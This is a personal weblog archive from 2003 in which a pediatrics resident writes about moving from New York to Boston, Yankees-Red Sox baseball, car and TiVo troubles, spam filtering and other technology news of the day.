Shannon and I have a (least) favorite new smell: burning clutch. Yesterday, while driving back from New York in rain so torrential the Saw Mill River Parkway was turned into a virtual floodplain, I noticed that the clutch in my car started feeling really, really mushy. We were on a long, steep uphill, and the clutch was requiring quite a bit higher revs to engage; in addition, it was channeling the most acrid, horrific smell straight back at Shannon and me. There was at least a half-mile left of hill, so with some quick acrobatics, I got off to the shoulder and turned off the car. We debated how I’d be able to even look under the hood with the rain coming down as hard as it was, and we started hunting for the nearest Subaru dealer. (Thank goodness I kept the little “every Subaru dealer in the country” brochure when I bought the car!) After one dealer’s service department treated me like a radioactive, smallpox-laden anthrax spore, we found another closeby, and decided to start back up and limp along to see if they’d take a look. When we got to their service department, one of the techs took my keys and took the car out for a quick spin. He came back and said that it felt OK, and that the smell was undoubtedly the clutch; he said that it was probably OK to get back to Boston, but that I should bring it in to my local dealer today for a look-see. I got it in first thing this morning, only to learn later today that it won’t be until tomorrow afternoon before they look at the car, and then god knows how long before it’s fixed. One mechanic said that he thought some water got into the clutch, making it slip a bit to cause the burning smell; another said that there shouldn’t be any way for water to get into the clutch, and that they’d have to drop the transmission out of the car to see what had happened. And despite a quick bit of learning, I feel like I’m totally at the mercy of the mechanics — if they came to me tomorrow and told me it would be a cool grand to replace the gerbils and rabbit brain that run my transmission, I’d have to just fork it over. One hopes it’ll all be covered under the warranty… we’ll see.
Over at VentureBlog, Naval Ravikant wrote up his experience using Dartmouth’s amazing wireless network. Wired ran a piece last October about the university’s plans to build out a universally-available, open network that encourages both educational use and recreational tinkering, and from Naval’s piece, it looks as if it’s working. Students are using $50 voice-over-wireless handsets to make all their calls, and developing services based on location (like friend-finders and scheduling systems that send reminders timed according to how long it will take users to get to their next appointment from where they are). It’s not too surprising to me that Dartmouth is on the wireless leading edge; I remember visiting my brother at Dartmouth in the late 1980s and being totally knocked-out by BlitzMail, their revolutionary campuswide email (and, effectively, instant messenger) system. Now, they’ve found another place where technology carries interpersonal communication to the next level, and nothing but good can come of it.
Awesome! After promising it as one of the upselling features of the Pro- and Plus-level accounts, Six Apart has delivered TypePad’s domain mapping feature. (You can see it in action at alaina.org.) Now, maybe it’s time to convert this entire website over to TypePad… something to think about, indeed. At least I’ll move all my photo albums over, and just set them up at pictures.queso.com or something. Bravo, Six Apart!
new york times, 10/17/2003boston globe, 10/17/2003
Bill Buckner must be breathing a sigh of relief today, because at the top of the list of people most responsible for ripping the hearts out of all Red Sox fans, he appears to have been instantly supplanted last night by Boston manager Grady Little. Here at the hospital, just saying “Grady” or “eighth inning” causes nearly everyone to erupt with venemous rage, and there’s a poll running on the Boston Globe site that, with nearly 11,000 votes cast, is 67% in favor of tossing Little out on his ass. (Of course, it’s one of the worst-worded surveys in all of history, but alas.) Some of the headlines in the print version of the Globe today read: “Little was too late with ace in a hole” (continued with “Little tipped his hand by holding his ace too long”), “Little stood by his man, for too long,” and “A Little second-guessing”; exclusive to the website was the main Red Sox page headline “Sox blow it; Little’s failure to remove Pedro in 8th cost Sox the pennant .” It’s bad enough here that there’s a certain Cubs fan who’s probably relieved that, as horrible as his last few days have been, at least he’s not Grady Little. (And for posterity’s sake, there are PDFs of both today’s Globe and Times.)
yankees!  yankees!
OK, here’s where I admit that I had almost completely written the Yankees off somewhere near the end of the seventh; here’s where I also admit that I may have caused damage to both my sofa and the floor beneath it with all the jumping up and down that I did in the bottom of the eighth. What an unbelievable game, and what an even more unbelievable end. (Mariano Rivera pitching three complete innings for the first time since April of 1996!?! A walkoff home run from Aaron Boone!?!) I have to admit a bit of sadness for the Red Sox — since I’m always a sucker for the underdog, and now that I live here, I also have a bunch of friends that are going to be horribly sad for the next few weeks — but I also have to exult at the Yanks making the to Fall Classic. A few last notes before heading off to bed:
  • The choice of Rivera as the ALCS MVP was just obvious, and well-deserved.
  • It’s a shame that Pedro stuck around for the eighth; in the blink of a managerial eye, a masterful Pedro victory turned into an unfortunate afterthought. (Well, we’ll see how much of an afterthought it is in the Boston press tomorrow.)
  • Hey, Tim McCarver — could you possibly have been more annoying about whether or not it was going to be the end of Roger Clemens’ career? I’m pretty sure that we all got it the first twelve times you said it; we probably didn’t need the other fifteen hundred.
I know that it comes as shocking and totally unexpected to everyone that Verisign plans to reinstate the service that redirects any and all requests for nonexistent .com and .net domains to a page of advertisements. I’ll acknowledge that a huge part of me feels the same bile rising in my throat that floods forth every time I think about the fact that a huge chunk of the Internet is controlled by a company comprised of a thousand drunk anencephalic monkeys. But there’s also a cluster of neurons in my brain that hopes that Verisign does start Site Finder back up, so that ICANN can yank the .com and .net domains out from the control of the incompetent buffoons.

I’ve been sitting here in the fellows’ office at my hospital waiting for a lecture to start (and watching the MLB.com GameDay applet for the Yanks/Red Sox game), and just witnessed the funniest, stupidest interaction with technology ever.

One of the upper-year fellows was trying to print something, and the printer wouldn’t have any of it. She thoughtfully examined the display on the printer (“82 IO ERROR”), and then turned it off and back on. She tried to print again, but zippo happened. She then took out the paper tray, emptied half the paper, put it back in, and tried to print again. Shockingly, nothing happened. She then turned it back off and on. Nothing. Next, she turned it off and on about twenty times in rapid succession; again, the printer spit out exactly zero pages of her document. She then pressed every button on the top of the printer, all to no avail. After that, she hit the printer — hard — with only a sore hand to show for her effort. Finally, she ripped the plug out of the wall and stormed out of the room.

That’ll show the printer!

What a night of baseball! First, the Yankees’ other 40-and-over pitcher, David Wells, got it done in Fenway Park, pitching seven innings and striking out five. Then, the Cubbies learned that the Curse of the Billy Goat is alive and well when one of their own fans grabbed a ball from above the outstretched glove of Moises Alou, preventing the second out of what turned into an eight-run Marlin eighth. (Poor guy had to be scooped out of his seat by security, and later escorted out of the stadium, so that other fans couldn’t kill him.)

Of course, the Marlins win pushes the NLCS to the seventh game, which means that the Yankees/Red Sox game will be at 4:00 today… when I still have at least two hours left at work. Dammit!

I know you were all just aching to post comments and whatnot, but alas, that ability was hosed here today. (And here, and here, and here.) The reason? Because last night, I was foolish enough to accept a security update to the perl installation on my RedHat Linux box. I’m sure that the update rendered my machine more secure, but it also rendered every single perl script on the machine — including Movable Type — completely unusable. Trying to solve the problem led to a ton of other totally self-recursive problems, like perl not allowing me to install modules because those same modules weren’t already installed. It made for hair-pulling annoyance. In the end, I just downloaded the newest perl source code, recompiled from scratch, and installed what seem to be fifteen dozen modules in order to get everything back up and running. Crap like this is so annoying, so time-consuming, and just so idiotic. Could you imagine if you had to go through the same crap every time you wanted to install an app on your desktop machine?
My summary of tonight’s Yankees/Red Sox game:
  • Roger Clemens had early problems with control, giving up three hits and two runs in the first fifteen pitches. Luckily, he settled down, finishing after six innings with no more runs and seven strikeouts.
  • The Yanks scrapped away as they always do, turning gap shots and long low balls into runs. And with the only home run of the game, Jeter literally silenced Fenway Park; I don’t think I’ve ever heard the crowd that silent.
  • Pedro Martinez reinforced his reputation as a headhunter, hitting Karim Garcia in the fourth and then yelling further threats about throwing at batters’ heads into the Yankees dugout.
  • After a not-even-close pitch up and inside, Manny Ramirez inflamed already-smoldering tensions by strutting out towards the mound, causing both benches to clear and Pedro to lose even more friends by throwing 72 year-old Don Zimmer to the ground.
  • A moronic Fenway groundskeeper felt that it was a good idea to jump into the Yankees bullpen during the ninth inning, somehow leading to Karim Garcia getting injured. (Can you say criminal charges? Can you also say unemployed?) (Update: it appears that it may have been the Yanks responsible for the bullpen fracas; we’ll see where the fallout ends up.)
  • Mariano Rivera was, as always, just awesome. It’s just unfathomable that he has a postseason ERA of 0.74; during the playoffs, Mariano regularly gives the Yanks two solid innings in which all they have to do is concentrate on putting more runs on the board.
All in all, neither of the two superstar pitchers was all that awesome, and Pedro ended up losing the matchup both on the scoreboard and in his jackass behavior. (And for those who don’t know, there’s a reason Don Zimmer was bridling at Martinez pitching at people’s heads. In 1953, Zimmer was hit in the head, and was unconscious for nearly two weeks. He couldn’t speak for an additional four weeks, and he ended up with a metal plate in his head. Three years later, his season was ended by another pitch to the head that broke his cheekbone. In other words, he knows of which he speaks.)
Honestly, in the wake of pretty clear evidence of the Catholic church shuffling around pedophiles for years, does the Vatican really want to start another controversy by sending bishops and cardinals out there to claim that condoms are permeable to HIV? More than asinine, it’s just unconscionable, spreading lies and exposing people to an uncurable condition for the sake of religious zeal.
It figures that, on his own damn birthday, Matt Haughey gives us a present: Ten Years of My Life. It’s a website on which Matt plans to post a daily picture… for the next ten years. Happy birthday, Matt, and thanks for the promise of much more to come!
Oh, for the love of God… a group of parents in Oak Park, Illinois are suing their school district over the deployment of wireless technologies to connect the schools and provide network access within the schools. They are claiming that wireless networks are dangerous to the health of their children, and want the networks taken out of service. Am I really to believe that none of these parents have cellphones or cordless phones? That they never used wireless baby monitors? That they’ve never stopped off in a Starbucks to grab a cup of coffee, or set foot in an airport, or an airplane? That they’ve never used a GPS navigation system? Are all these parents going to disallow their kids from going to any college that has a distributed wireless network? A few other tidbits about the attempt to get wireless banned in Oak Park:
I gotta say, the worst thing about watching the Yankees-Red Sox games is that goddamn car zoom sound that all of the Fox on-screen graphics make. Seriously — in the last minute, there have been eleven effects that made the little zoom sound. Wouldn’t you think that they’d realize the freaking car sound is only within spitting distance of acceptable during Nascar broadcasts, and that even then it’s seriously debatable?
And there you have it; the most one-sided rivalry in sports now takes center stage, starting Wednesday night. It’s a shame that it looks like the pitching lineups won’t get Roger Clemens and Pedro Martinez on the same field, but it does seem likely that Clemens will be pitching in Fenway Park one last time in his career, which is just awesome.

Imagine that someone out there goes and signs up for a web-based fantasy sports league, and when asked for his email address, decides to make one up. Imagine that the made-up email address actually exists, though; furthermore, imagine that immediately upon submitting the “fake” email address, that scoundrel’s login information to the aforementioned fantasy sports league is sent out to the all-too-real person at the other end of the address. Now, imagine the annoyed recipient of the information deciding to log into the fantasy league website, and sell the entire team of the person who decided to not use his own email when he signed up.

I’m just saying…

For those who haven’t grown so irritated by junk email as to seize at the mere thought of it, the Boston Globe Sunday magazine has a good article by Neil Swidey on the history and the future of the fight against spam. Sitting here with 1,980 messages collected in my spam folder since the Friday morning, I can see why the mainstream press is starting to talk about the problem. I’ve wondered something, though — with the email addresses of most members of Congress available online, do you think that there’s a spam filter running on the House and Senate mail servers? If so, is there someone who trawls through the filtered messages, making sure that email from constituents doesn’t get thrown in the can?
I know that anyone who’s anyone has pointed to this over the past week, but Trevor Blackwell’s homemade Segway scooter is just the coolest damn thing. Reading through his narrative, it’s clear that you’d need a pretty good handle on your physics in order to build one yourself, but it’s also clear that if the Segway’s popularity takes off, it won’t be hard for a slew of similar products to make their way to the market.
After a few good years of service, my TiVo has finally died on me. Specifically, the modem has died, meaning that the little “Dialing…” spinny ball just keeps spinning and spinning and spinning, all the while never even grabbing the phone line. I’m at the point where television without TiVo is pretty much unthinkable, so now I get to go out and buy a new one, as well as fork over the money for the service plan. (It’s pretty irritating that the “lifetime service plan” for my current TiVo dies alongside the machine… I guess that’s how they make their money, though.) Since I’m still convinced that TiVo is the brand to get, I guess I’ll partake in the current $50 rebate; I’m just pissed that I didn’t take advantage of the offer to transfer service to a new box when I the promotion was running back in March.) Anyone have any better ideas?

Oh, for the love of f!*@, can we really not do anything about telemarketers? Looks like all we’re left with is the advice Dave Barry gave us — calling the American Teleservices Association as often as possible at the toll-free (to you, but not to them!) number (877) 779-3974 — and giving telemarketers a piece of their own action.

Update: it appears that the ATA has changed its number! The new number is: (866) 500-4272. How funny, though, that they changed their number, something that the millions of people that their members annoy really don’t have the luxury of doing…

Damn, this is cool: Recall, the new full-text search engine from the Internet Archive. What’s so cool about it? It searches all the pages of the Internet Archive, meaning that it will return hits from sites that haven’t existed for nearly a decade. Worth playing with when I get a little bit of time…
Two awesome new weblogs about journalism and the press: CyberJournalist.net and PressThink. The former’s out of the American Press Institute, and the latter’s a product of New York University; both of them are going into my bookmarks bar so that I can spend time digesting what they’ve got to offer.
Now that Shannon is going to stay in Boston (did we mention that Shannon took a job in Boston?), we’re planning on turning the room at the back of the apartment into her study and crafts room. And rather than stringing a cat 6 cable all the way from there to the front of the apartment (where the T1 comes in), we’ve decided to do the wireless thing for her computer. Unfortunately, this is an old house, with plaster and lathe walls, so the WiFi signal really starts to wheeze a bit back there. I started researching stronger antennas, and eventually settled on a HyperGain 8 dBi Range Extender. Of course, in between I found a ton of confusing information and terminology. It took a bit of hunting around, but I finally found a few good references, and now I present them for you: Now, the next step is to get all of Shannon’s stuff out of storage in South Jersey…
(Warning for the geek-averse: the following post will, undoubtedly, bore you to death.) This weekend, in an effort to better handle the ever-increasing tide of spam that’s been flowing into all the inboxes I host on my mailserver, I set up a second Linux box to do all the mail filtering. (SpamAssassin has a pretty snazzy mechanism that lets you offload the spam checking work onto a different machine as the mail server.) After getting the client/server stuff up and running, I figured out that there were a few users that would end up using the spam stuff on both machines (the mail server and the filtering server); this meant that each user would end up with two entirely different SpamAssassin preference files, as well as two different Bayes databases. And this all led to figuring out how to set up NFS shares, working through each machine’s firewall, so that this could be avoided. Fun fun fun. Here are some pages that I found particularly useful in this grand endeavor:
  • The Linux NFS How-To, which (like most of the how-tos) is a simple step-by-step walk through setting up both sides of an NFS connection.
  • Some information about autofs, which has the potential to make life a lot easier.
  • Configuring NFS under Linux for Firewall control, which goes through all the changes that have to be made to various configuration files in order to get NFS to behave in a firewall-friendly way. (It doesn’t speak to how to get RedHat 7.2 to use a version of rpc.lockd that is willing to bind to a predefined port; that’s an exercise for another day.)
  • iptables options, which is one of the best translators of the gobbledygook that’s part and parcel of Linux firewall configuration.
  • FileThingie, a one-script PHP installation that lets users edit text files via the web. I’m using this to let one of my friends make changes to a few of his preferences files (including his SpamAssasin configuration).
It’s a cool setup, and it’s working beautifully.
My brother came to visit this weekend; he’s my only family member who reads this site, and as a result, he’s my only family member who really knows how pathetic my exercise attempts (or lack thereof) have become. This morning, he dragged me out for a trek in and around Boston, him running and me on rollerblades, and we had an awesome time. We hopped into the Emerald Necklace in Brookline, made a beeline for Back Bay, crossed the Harvard Bridge (all 364.4 smoots and an ear of it), cut in along the Charles all the way to the Weeks Footbridge, came back across to Boston, and then backtracked all the way home. It was the perfect day for it, too, with perfect temperatures and a nice breeze to boot. Maybe I should take up exercising again…
The two best first-person accounts of yesterday’s blackout in New York City: Grant Barrett’s and Amy Langfield’s. Good stuff.

How do you think the millions of New Yorkers who are still without power feel about the fact that, while Mayor Bloomberg and Con Ed are asking everyone who does have power to conserve it until they can get everyone up and running, Times Square appears to be all ablaze with its standard neon lights, video screens, and electronic tickers?

The graph of the day, courtesy of Berkeley (click it to see the whole thing):
blackout graph
(By the way, George W. Bush, President of the United States, just applauded the way that people are handling “this rolling blackout.” Is he really unaware of the difference between blackouts and rolling blackouts, such as the fact that rolling blackouts are put into place specifically to avoid fiascos similar to what happened today?)

Wired has a fantastic article in the upcoming September issue on the exploding field of manufactured diamonds, and the threat they pose to the De Beers stranglehold on the industry. One of the main points of the article revolves around whether or not people (specifically women, if you read the subtext of all the quotes) will accept man-made diamonds as equal to their earthen-born counterparts; I think that the more interesting question is whether or not diamonds will fall from their absurdly elevated prestige once the artificial scarcity holding them there is shattered.

On Tuesday, I started as the fellow for the inpatient peds oncology floor, which means that in the onslaught of work, I totally forgot to say congrats to the people at SixApart for the release of TypePad! I’ve been putzing around with it a little bit in beta form, and it’s fantastic, so much more capable than anything else out there, well worth the monthly costs. Go use it!
Am I the only one that finds it a bit weird that CNN is carrying AP stories on how to avoid getting caught sharing music online? It seems that CNN’s parent company, AOL Time Warner, would want to discourage that sort of thing…
I dunno — perhaps there’s a compelling argument out there somewhere for not exempting anyone from having to go through the metal detectors at government buildings.
I thank the editors at The Morning News for passing along a link that finally makes sense of the many layers that sit between a bottle of wine and your lips. It’s amazing to me how convoluted and arcane the laws are that govern importation and sale of alcohol; it’s even more amazing to me that the entire three-tier structure of alcohol control is based in the grant of state power contained in the 21st Amendment to the U.S. Constitution. Of course, the Internet has challenged the logic of the rigid distribution network, and even more, has brought about efforts to fight it in the courts. Given the roots of the scheme in the Constitution and its taxation value to each individual state, though, it’ll probably be a long time before there’s any real change seen by consumers.

It’s only in its sixth day of life, but I gotta say that Matt Haughey’s PVRblog, a weblog devoted to TiVo, ReplayTV, and other digital video recorders, is already a damn fine daily read. Matt has already published a few longer pieces that are aimed at helping people through the harder parts of more advanced setups (like putting a TiVo on a network, rather than using a phone line), all interspersed with news and updates from the PVR world. If you’ve got a PVR, or are thinking about adding one to your life, I’d recommend a visit to the site.

Jenny Everett, a Popular Science staff writer, decided to call the Dockers customer assistance line to ask for more details about the company’s claims of a nanotechnology basis for its new Stain Defender line of clothes; the resulting conversation was pretty damn funny.

According to today’s New York Times, the White House has enacted a new e-mail system that makes it significantly harder for people to jot off notes to the President (and, one would imagine, many other top elected officials). Instead of simply addressing an e-mail to president@whitehouse.gov, now people have to negotiate nearly a dozen web pages, choosing from restrictive pre-selected subjects and indicating whether or not they agree with the present stance of the White House on whatever issue concerns them. (Note that I’ve been trying to verify the claims of the Times article all morning, but the new website and the site it redirects to have been down pretty much since I got to work.)

On the good side, the process apparetly does include a verification step — once an e-mail is sent to the President, a confirmation is mailed to the original sender which includes a mechanism for proving that that person was the author of the e-mail. That’s the sort of thing that is probably important, given that the from line of e-mail is too easy to forge, and there are plenty of reasons it’s important to know whether or not letters to the Chief Executive are legitimate.

And on the funny side, as seems to be the case lately, the Times could stand to do a little digging before choosing who to use as an article’s prime source. Tom Matzzie, the AFL-CIO organizer mentioned in the third paragraph as one of the first people to discover (and be affected by) the new e-mail system, is described towards the end of the article as “a professional Web site designer.” Elsewhere on the web, Matzzie’s involvement with the AFL-CIO is described as its Online Mobilization Manager, its Internet communications manager, and the organization’s webmaster. Given that the article’s entire purpose is to complain about the new, restrictive forms-based approach to communicating with the White House, wouldn’t it be relevant that Matzzie’s own website has an incredibly similar, and similarly cumbersome, forms-based “Contact Us” page?

I just started playing with TypePad a little bit, and I have to say, I love the photo album stuff. And with that, my first TypePad photo album awaits, and I’d be willing to bet that a few more albums will follow over the next few days.
While I’m as much for quiet cars and restrictions on cellphone use in trains and planes as the next guy, I also think that a few people in this Times article could do themselves a whole heap of good with an iPod and a pair of noise-cancelling headphones…

It’s decently obvious that the United States has now hit its saturation point of mobile phone dealers. Walking around the Arsenal Mall last night, I was struck with how many dealers were crammed into a small space. In one particularly hilarious fifty-foot stretch, there were two T-Mobile vendors as well as an actual T-Mobile store, and likewise, there were three or four AT&T dealers, a Nextel booth, and two Cingular shops. Not a single one of the booths had a customer at them, and of the stores, only the T-Mobile one had anyone other than employees in it. It was a bit of a joke, and it made me wonder when one of the cellphone providers will get wise to this and decide to cut out the third-party dealers, as well as the markup that their presence adds to the cost of cellphone service.

Shannon and I have returned to New York City for the weekend, and getting out of the new Boston apartment for a few days has provided enough perspective on the past week to allow for an update.

First and foremost, this past week has been a lot tougher than I ever would have thought, mostly because of the amount of work that Shannon and I have had to do in the new apartment. When I signed my new lease, my landlord and I figured out that there wouldn’t be a lot of time between residents. I agreed to take on a lot of the normal between-rentals work myself, after I moved in, if my landlord would handle one huge task: ripping out all of the electric blue shag carpet and decades of layered and dulled linoleum and refinishing the wood floors that lived underneath. What that meant was that I would arrive to some of the most amazing floors that I could ever have imagined, but I would also arrive to an apartment with walls that hadn’t been painted in almost a decade. I knew to expect this (and my landlord had already agreed to reimburse me for all painting supplies and expenses), but I didn’t really process how much work it would take to get it all done, nor did I predict the emotional toll it would take on Shannon and I. And despite a 24-hour trip to Boston two weeks ago to get some of the painting started and a 36-hour headstart for Shannon and her mother, my family and I arrived last Saturday to an apartment that still needed paint in almost every room, not to mention cleaning and other small maintenance projects all over the place.

Another huge fact that hadn’t even crossed my mind in the days and weeks planning for the move was that the need for painting would mean that there was no chance of me being able to unpack when I got to Boston. Needing to repaint and resurface the kitchen cabinets meant that we wouldn’t be able to unpack any of our food, dishes, or even appliances; needing to repaint the entire study (goddamn built-in shelves!) meant that all the one million book boxes would need to stay stacked up in half of the guest room. Add to it a bathroom in need of paint and minor work, a paneled hallway in need of a lot of detail work, and a few pieces of furniture that didn’t survive the move, and you’ve got a general picture of the tasks that have dominated every available minute of our past week.

The one last thing that I didn’t anticipate was the massive hit in clothing space that I took in the move. I had built quite a bit of shelf space in my huge New York bedroom closet, none of which I have in my smaller Boston closets. Similarly, Shannon’s clothes were in temporary storage in anticipation of the move, and we didn’t have any real answer for where they’d end up once they got to Boston. What this all means is that we’ve been living out of our bags for the past week, something that’s driven both of us nearly to tears at various points of tiredness.

Finally, though, it feels like we’re getting over a major hump. On Tuesday, I bought an awesome new desk, to replace the one that was decimated in the moving truck. Between Tuesday and Wednesday, we set up the major living room furniture and got cable and phones installed. On Wednesday, Shannon finished painting the kitchen cabinets and doors, and on Thursday she was able to unpack most of the kitchen and I got five of the twelve doors hung. Thursday night, the new T1 was finally brought up by my ISP. And today, we bought two big dressers that will totally solve the clothing problem.

Tomorrow, I’ll shut down all the computers that still live in my old apartment in New York (including the one running this site and the MetaFilter server), drive them up to Boston, and set them all up on the new T1. Shannon and I will then immediately set to unpacking our clothes into the new dressers and unpacking some books onto the finally-finished shelves, and I think that we’ll finally feel like we’re living in a home. I cannot wait.

Some geek-related stuff:

Things you can’t have enough of while packing:

  • Ziploc bags, sandwich-sized and gallon-sized, to pack all the loose crap in;
  • small boxes, to prevent yourself from packing too much in a single box;
  • cable ties and velcro wraps, to hold together pretty much anything;
  • bubble wrap, to protect pictures, mirrors, and electronics;
  • plastic milk crates, to carry things like plants and breakables to the truck;
  • air conditioning;
  • friends.

res•er•va•tion (1c): an arrangement to have something (as a hotel room) held for one’s use; also : a promise, guarantee, or record of such engagement.

Something I relearned today: when moving, call all the various companies you’re paying for moving day services to see if they actually intend to provide those services. In the case of moving truck rentals, their contracts are actually explicit in telling you that your reservation isn’t really a reservation of equipment, just of the price of the equipment if they have it to give you, so you have to call to ask if there’s even a chance of them providing everything you’ve asked for. Want the small equipment, like a hand truck? Find a friend with one. Want a truck? Make your reservation for the absolute earliest time the pick-up spot is open, so that you have a chance of getting the few that they will provide. If you rely on the company for everything to work out right, assume that it’ll all work out terribly; at least then, you’ll be pleasantly surprised if it doesn’t fall apart.

I cannot wait until this move is over.

What an incredible evening. As everyone is now painfully aware, my last few weeks have been jam-packed, planning for the move, finishing up at the hospital, and working on my custom content management system. All this time, tonight has been reserved on our calendars as a break, ostensibly for a dinner with Shannon’s parents and some of her father’s colleagues. Thus, we got all gussied up tonight — Shannon wearing, for the first time, a piece of clothing that she had knitted — and headed out to Dos Caminos. Imagine my face when we wound around all the tables and into the very back to find her parents sitting with my entire family and a bunch of my closest friends, all in a surprise party to wish me an early birthday, congratulations on finishing residency, and good luck on the transition to fellowship in Boston. I can honestly say that I’ve never, ever been as surprised. It turns out that Shannon, my sister, and my mother have been working since January to put this together, and it showed; there were hand-dyed name placards, custom menus, and a framed invitation in the middle of the table with a photo of a 1975 version of me blowing out my birthday candles. I had a fantastic time, received gifts both thoughtful and memorable, and left feeling like there was nothing I could have done to deserve that celebration. I’m glowing tonight, a little sadder about leaving everyone, but happier that I have such a close group of people in my life.

Is it rational for me to feel like a loser because there’s absolutely no evidence that the MSNbot knows of this website? Could it be that the new Microsoft search crawler knows about the lethargic rate of posts here as of late, and is merely acknowledging my sheer boringness?

It came as a pretty cool discovery to me this week that SpamAssassin has made its way to the world of major university mail servers. I’m the first to acknowledge that today’s filters aren’t a panacea for the ever-worsening unsolicited e-mail problem, but doing nothing hasn’t been a raging success, and legislating the problem away seems to be both improbable and impossible given the reality of the Internet. I’m hopeful that, as mail filters are implemented by larger and larger mail providers, they’ll get better, and they’ll also help everyone involved discover even more effective ways at getting to the root of the problem.

Five simple words: San Antonio Spurs, NBA champions. What a great way to send David Robinson off into retirement, and for Steve Kerr to win his fifth ring. And finally, my blood pressure is returning to normal.

Last night was my final 24-hour call in the hospital (a fact I didn’t realize until about 1 o’clock this morning). The milestones are just stacking up; next in line, my last class retreat (next weekend), my last clinic (two Tuesdays from now), and my last overnight call in any capacity (three Wednesdays from now). In the mean time, though, I’m off to Boston for one day of geekery before returning to marking the passage of time…

Another few milestones passed: my last overnight call as the senior resident in charge (last Saturday), and my graduation ceremony (today, although there are still two and a half weeks left). It feels totally strange to be finishing my association with an educational institution that has provided the last eleven years of my education, but it also feels liberating. In three weeks, I’ll be in a completely new hospital, with a completely new ethic, learning completely new medicine. I’ll have a new apartment, be driving my new car, and be further than three miles from my family for the first time in 10 years. From the start of college through now, I’ve rested on my New York haunches at every decision point, partly because it was the best thing to do in the context of each decision but also partly out of stasis. Now, I finally get the experience of totally uprooting my personal life just as I’m starting the next stage of my professional life, and once I get past the holy-shit aspect, it’s going to be a ton of fun.

I’m not entirely sure, but I just might be the target of this mockery… (Oh, and Anil, I am pretty sure that it was you who came up with the need for a docking cradle.)

suzie the subie!

Today was a very special birthday… for Suzie, a 2003 Subaru Outback Limited. (Not coincidentally, it is also my first day owning a car.) The arcane laws of the Great State of Massachusetts made it necessary to actually drive to Massachusetts to acquire Suzie, but that’s all behind me now, and tonight, she’s tucked safely into a space in a Manhattan garage. It’s a little overwhelming to own my first car (and to think about the payments that start in a mere 30 days), but all things said, I’m totally happy, and can’t wait to break her in a little bit.

Alas, it turns out that the online sharing abilities of iTunes 4 is less of an undocumented feature and more of an unintentional bug. So much for the alternative theory

How cool — a wild turkey has been making spotted appearances in the heart of Manhattan, much to the delight of residents and confusion of ornithologists. One sighting was even on a 28th-story balcony, amazing given that turkeys aren’t very good at tackling vertical distance. And people say that you need to leave New York City to find the great outdoors… (Thanks to Noah for the link!)

Re: The Matrix Reloaded, I’m right there with Philip Graham. Seriously, I have nothing more to add to his review; it’s spot-on.

Wow — a Manhattan judge ordered New York’s transit authority to roll back last month’s 50-cent fare hike within two weeks due to dishonesty in the process used in helping justify the hike to the public. Apparently, the MTA hid money off the books by shifting it into future annual projections, making its finances look $600 million worse than they really are. The MTA is complaining about how hard it will be to roll back all the equipment; that being said, if the allegations are true, nobody’s going to feel sorry for the predicament the agency put itself in.

Around here, things have been busy lately. As soon as I finished in the emergency room, I was thrown into the inpatient wards as the senior resident on service, meaning a return to early mornings and fourteen-hour days. And just after walking in the door at night, I’ve been heading straight for the laptop, getting down and dirty with code as I craft a content management system for one of my web projects in the hospital. With Shannon in the middle of her finals, we make quite a couple, tiredly collapsing into our respective ends of the sofa and communing with our computers until the wee hours of the morning. All in all, it’s enough to form the framework for a new reality video, “Overextended Dorks Gone Wild.”

That being said, I’m really enjoying my work. The web project is allowing me to finally pick up a language I’ve wanted to use for years, and get off of a CMS backend that I absolutely despise. It’s also letting me play with workflow design and systems architecture, which may not sound exciting, but which makes my brain feel right at home. And importantly, the project may actually earn me a little money — something that I welcome wholeheartedly, given that my looming move to Boston is already taking a bite out of my bank account.

In the hospital, as the only third-year resident on my inpatient team, I’m getting a great chance to see how much I’ve learned over the course of the last few years. What took me hours of reading and contemplation two years ago is now second-nature; a kid who could instantly drive me to panic as a first-year resident now drives me to start delegating tasks and taking action. (It’s even been enough to push me into starting a new pediatric arrest curriculum for the hospital, which has unquestionably been the most satisfying thing that I’ve been involved in thus far.) I now have only six and a half weeks left as a resident, and while I only feel like I’ve been a pediatrician for fifteen minutes, those fifteen minutes feel like they’ve been jam-packed with great learning, awesome kids, and more rich experiences than I would have ever believed possible.

I’ve never been one to handle idleness well, quickly finding something to fill any gaps in time or commitments. These last two months in New York promise to be busy as all hell, but I don’t think I would want it any other way.

Two views of my apartment building, separated by almost a century:

April 2nd, 1909

April 2nd, 1909

May 4th, 2003

May 4th, 2003

The first picture comes from a print I found at the Columbus Avenue Flea Market this afternoon, making me one of the happiest people walking the streets of New York today. I bought four other prints, as well — one of the intersection of Broadway and 96th Street (taken during the construction of the subway in 1903), one of Columbia University’s Washington Heights campus in 1905 (when there were only five or six buildings on the site), one of Hilltop Park in 1905 (between 165th and 168th Streets on Broadway, the home of the New York Highlanders), and the last of my hospital building in 1931. Leafing through all the historic photos of New York made me remember that there’s a lot from of late 19th- and early 20th-century New York that’s still standing, and it’s what makes this city so amazing to me. I’m going to miss exploring New York’s history when I leave; I guess it’s time to start exporing Boston’s history.

(Update: Anil made a neat animated GIF of the two images.)

If you’re a New York state resident and have experienced problems with VeriSign — problems with the company screwing you over with domain name registration, or any other problem with its business practices — you might want to head over to Mike Wasylik’s site and help the good New York Attorney General out with an investigation into the company. (Mike is involved because he has served as Leslie Harpold’s lawyer in her inquiries into how her domain name, hoopla.com, was stolen out from under her.)

Wouldn’t it figure, just as I’m fixing to leave New York City, plans are firming up for a loop around the island of Manhattan for bikers (and, of course, rollerbladers). The grand scheme is called the New York Greenway, and aims to link up the disparate pathways that are currently chock full of people trying to get exercise. Parts of the loop are already open; Friday, I discovered this when I got to the south end of Riverside Park and was able to continue on a connection to Hudson River Park. Happily, Alaina and I were able to go all the way to Battery Park, and ended up with 15 miles on our blades. The route took us past the 79th Street Boat Basin, the U.S.S. Intrepid, Chelsea Piers, the New York Trapeze School, the World Financial Center, and the former site of the World Trade Center towers before turning around to come back to the Upper West Side. Had we continued northward, we’d have been able to get (with one major diversion onto city streets) to the George Washington Bridge. What a great way to get some exercise!

